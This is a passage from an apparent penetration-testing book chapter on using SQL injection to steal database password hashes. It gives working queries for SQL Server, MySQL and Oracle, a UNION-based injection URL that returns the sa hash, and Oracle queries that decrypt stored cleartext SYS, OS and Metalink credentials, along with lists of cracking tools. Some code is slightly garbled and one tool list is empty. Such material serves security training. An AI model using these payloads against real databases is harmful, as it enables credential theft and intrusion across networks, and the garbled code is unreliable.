Exploiting SQL Injection : Stealing the Password Hashes

We briefly talked about hashing functions earlier in this chapter, when we discussed a successful attack that recovered the passwords of the application users. In this section, we’ll talk about hashes again, this time regarding the database users. On all common DBMS technologies, user passwords are stored using a non-reversible hash (the exact algorithm used varies depending on the DBMS and version, as you will see shortly) and such hashes are stored, you guessed it, in a database table. To read the contents of that table you normally will need to run your queries with administrative privileges, so if your user does not have such privileges you should probably return to the privilege escalation section.

If you manage to capture the password hashes, various tools can attempt to retrieve the original passwords that generated the hashes by means of a brute-force attack. This makes the database password hashes one of the most common targets in any attack: Because users often reuse the same password for different machines and services, being able to obtain the passwords of all users is usually enough to ensure a relatively easy and quick expansion in the target network.

SQL Server

If you are dealing with a Microsoft SQL server, things vary quite a lot depending on the version you are dealing with. In all cases, you need administrative privileges to access the hashes, but differences start to surface when you actually try to retrieve them and, more importantly, when you try to crack them to obtain the original passwords.

On SQL Server 2000, hashes are stored in the sysxlogins table of the master database. You can retrieve them easily with the following query:

SELECT name,password FROM master.dbo.sysxlogins

Such hashes are generated using pwdencrypt(), an undocumented function that generates a salted hash, where the salt is a function of the current time. For instance, here is the hash of the sa password on one of the SQL servers that I use in my tests:

0x0100E21F79764287D299F09FD4B7EC97139C7474CA1893815231E9165D257ACEB815111F2A
E98359F40F84F3CF4C		  

This hash can be split into the following parts:

  • 0x0100 Header

  • E21F7976 Salt

  • 4287D299F09FD4B7EC97139C7474CA1893815231 Case-sensitive hash

  • E9165D257ACEB815111F2AE98359F40F84F3CF4C Case-insensitive hash

Each hash is generated using the user’s password and the salt as input for the SHA1 algorithm. 

What is interesting to us is the fact that on SQL Server 2000 passwords are case-insensitive, which simplifies the job of cracking them.

To crack the hashes you can use the following tools:

When developing SQL Server 2005, Microsoft took a far more aggressive stance in terms of security, and implementation of the password hashing clearly shows the paradigm shift. The sysxlogins table has disappeared, and hashes can be retrieved by querying the sql_logins view with the following query:

SELECT password_hash FROM sys.sql_logins

Here’s an example of a hash taken from SQL Server 2005:

0x01004086CEB6A15AB86D1CBDEA98DEB70D610D7FE59EDD2FEC65

The hash is a modification of the old SQL Server 2000 hash:

  • 0x0100 Header

  • 4086CEB6 Salt

  • A15AB86D1CBDEA98DEB70D610D7FE59EDD2FEC65 Case-sensitive hash

As you can see, Microsoft removed the old case-insensitive hash. This means your brute-force attack will have to try a far larger number of password candidates to succeed. In terms of tools, NGSSQLCrack and Cain & Abel are still your best friends for this attack.

Tip

Depending on a number of factors, when retrieving a password hash the Web application might not always return the hash in a nice hexadecimal format. It is therefore recommended that you explicitly cast its value into a hex string using the function fn_varbintohexstr(). For instance:

http://www.victim.com/products.asp?id=1+union+select+
  master.dbo.fn_varbintohexstr(password_hash)+from+
  sys.sql_logins+where+name+=+'sa'

MySQL

MySQL stores its password hashes in the mysql.user table. Here is the query to extract them (together with the usernames they belong to):

SELECT user,password FROM mysql.user;

Password hashes are calculated using the PASSWORD() function, but the exact algorithm depends on the version of MySQL that is installed. Before 4.1, a simple 16–character hash was used:

mysql> select PASSWORD('password')
+--------------------------------+
| password('password')         |
+--------------------------------+
| 5d2e19393cc5ef67               |
+--------------------------------+
1 row in set (0.00 sec)

Starting with MySQL 4.1, the PASSWORD() function was modified to generate a far longer (and far more secure) 41–character hash, based on a double SHA1 hash:

mysql> select PASSWORD('password')
+-----------------------------------------------+
| password('password')                        |
+-----------------------------------------------+
| *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19     |
+-----------------------------------------------+
1 row in set (0.00 sec)

Note the asterisk at the beginning of the hash. It turns out that all password hashes generated by MySQL (4.1 or later) start with an asterisk, so if you stumble into a hexadecimal string that starts with an asterisk and is 41 characters long, it’s likely there is a MySQL installation in the neighborhood.

Oracle

Oracle stores its password hashes for database accounts in the password column of the sys.user$ table. The dba_users view points to this table, but since Oracle 11g the Data Encryption Standard (DES) password hashes are no longer visible in the dba_users view. The sys.user$ table contains the password hashes of database users (type#=1) and database roles (type#=0). With Oracle 11g, Oracle introduced a new way of hashing Oracle passwords (SHA1 instead of DES) and support for mixed-case characters in passwords. The old DES hashes represent case-insensitive uppercase passwords, making them relatively easy to crack. The new hashes in 11g are stored in the same table but in a different column, called spare4. By default, Oracle 11g saves the old (DES) and the new (SHA1) password hashes in the same table, so an attacker has a choice between cracking old or new passwords.

Queries for extracting password hashes (together with the usernames they belong to) are as follows.

For Oracle DES user passwords:

Select username,password from sys.user$ where type#>0 and
   length(password)=16

For Oracle DES role passwords:

Select username,password from sys.user$ where type#=1 and
   length(password)=16

For Oracle SHA1 passwords (11g+):

Select username, substr(spare4,3,40) hash, substr(spare4,43,20) salt from
   sys.user$ where type#>0 and length(spare4)=62;

Various tools (Checkpwd, Cain & Abel, John the Ripper, woraauthbf, GSAuditor, and orabf) are available for cracking Oracle passwords. The fastest tools so far for Oracle DES passwords are woraauthbf, from László Tóth, and GSAuditor for SHA1 Oracle hashes. Refer to Figure 1 for examples of Oracle hashes being returned via SQL injection.

Figure 1. Oracle Hash Examples

 

Many other tables in the Oracle database (installed by Oracle itself) also contain password hashes, encrypted passwords, or sometimes even clear-text passwords. Often, it is easier to retrieve the (clear-text) password instead of cracking it. One example where you often can find the clear-text password of the SYS user is the sysman.mgmt_credentials2 table. During installation Oracle asks whether the installer wants to use the same password for all DBA accounts. Oracle saves the encrypted password of user DBSNMP (which is identical to SYS and SYSTEM) in the mgmt_credentials2 table if the answer was “yes.” By accessing this table, it is often possible to get the SYS/SYSTEM password.

Here are some SQL statements that will often return clear-text passwords:

-- get the cleartext password of the user MGMT_VIEW (generated by Oracle
-- during the installation time, looks like a hash but is a password)
select view_username, sysman.decrypt(view_password Password
    from sysman.mgmt_view_user_credentials;
-- get the password of the dbsnmp user, databases listener and OS
-- credentials
select sysman.decrypt(t1.credential_value) sysmanuser,

     sysman.decrypt(t2.credential_value) Password
     from sysman.mgmt_credentials2 t1, sysman.mgmt_credentials2 t2
     where t1.credential_guid=t2.credential_guid
     and lower(t1.credential_set_column)='username'
     and lower(t2.credential_set_column)='password'
-- get the username and password of the Oracle Knowledgebase Metalink
select sysman.decrypt(ARU_USERNAME), sysman.decrypt(ARU_PASSWORD)
    from SYSMAN.MGMT_ARU_CREDENTIALS;
Oracle Components

Several Oracle components and products come with their own user management (e.g., Oracle Internet Directory) or they save passwords in various other tables, in more than 100 different tables in all. The following subsections discuss some of the types of hashes you might be able to find within the database with other Oracle products.

APEX

Newer Oracle database installations often contain Oracle Application Express (APEX). In 11g, this component (APEX 3.0) is installed by default. This Web application framework comes with its own (lightweight) user management. The password hashes (MD5 until Version 2.2, salted MD5 since Version 3.0) of this product are located in the FLOWS_xxyyzz schema in the wwv_flow_fnd_user table. Different versions of APEX use different schema names, with the schema name containing the version number of APEX (e.g., 020200 for APEX 2.2):

select user_name,web_password_raw from flows_020000.wwv_flow_fnd_user;
select user_name,web_password_raw from flows_020100.wwv_flow_fnd_user;
select user_name,web_password_raw from flows_020200.wwv_flow_fnd_user;

Since APEX 3.0, the MD5 passwords are salted with the security_group_id and the username, and are returned as follows:

select user_name,web_password2,security_group_id from
   flows_030000.wwv_flow_fnd_user;
select user_name,web_password2,security_group_id from
   flows_030000.wwv_flow_fnd_user;
 
Oracle Internet Directory

Oracle Internet Directory (OID), the Oracle Lightweight Directory Access Protocol (LDAP) directory, comes with many hashed passwords in various tables. You can access the password hashes of OID if you have normal access to all users in the company. For compatibility reasons, OID saves the same user password with different hashing algorithms (MD4, MD5, and SHA1).

The following statements return the password hashes of OID users:

select a.attrvalue ssouser, substr(b.attrval,2,instr(b.attrval,'}')-2)
  method,
  rawtohex(utl_encode.base64_decode(utl_raw.cast_to_raw(substr
  (b.attrval,instr(b.attrval,'}')+1)))) hash
  from ods.ct_cn a,ods.ds_attrstore b
  where a.entryid=b.entryid
  and lower(b.attrname) in (
'userpassword','orclprpassword','orclgupassword','orclsslwalletpasswd',
  'authpassword','orclpassword')
 and substr(b.attrval,2,instr(b.attrval,'}')-2)='MD4'
 order by method,ssouser;
select a.attrvalue ssouser, substr(b.attrval,2,instr(b.attrval,'}')-2)
  method,
rawtohex(utl_encode.base64_decode(utl_raw.cast_to_raw(substr
 (b.attrval,instr(b.attrval,'}')+1)))) hash
 from ods.ct_cn a,ods.ds_attrstore b
 where a.entryid=b.entryid
 and lower(b.attrname) in (
'userpassword','orclprpassword','orclgupassword','orclsslwalletpasswd',
 'authpassword','orclpassword')
 and substr(b.attrval,2,instr(b.attrval,'}')-2)='MD5'
 order by method,ssouser;
select a.attrvalue ssouser, substr(b.attrval,2,instr(b.attrval,'}')-2)
   method,
3rawtohex(utl_encode.base64_decode(utl_raw.cast_to_raw(substr
   (b.attrval,instr(b.attrval,'}')+1)))) hash
   from ods.ct_cn a,ods.ds_attrstore b
   where a.entryid=b.entryid
   and lower(b.attrname) in (
'userpassword','orclprpassword','orclgupassword','orclsslwalletpasswd',
   'authpassword','orclpassword')
   and substr(b.attrval,2,instr(b.attrval,'}')-2)='SHA'
   order by method,ssouser;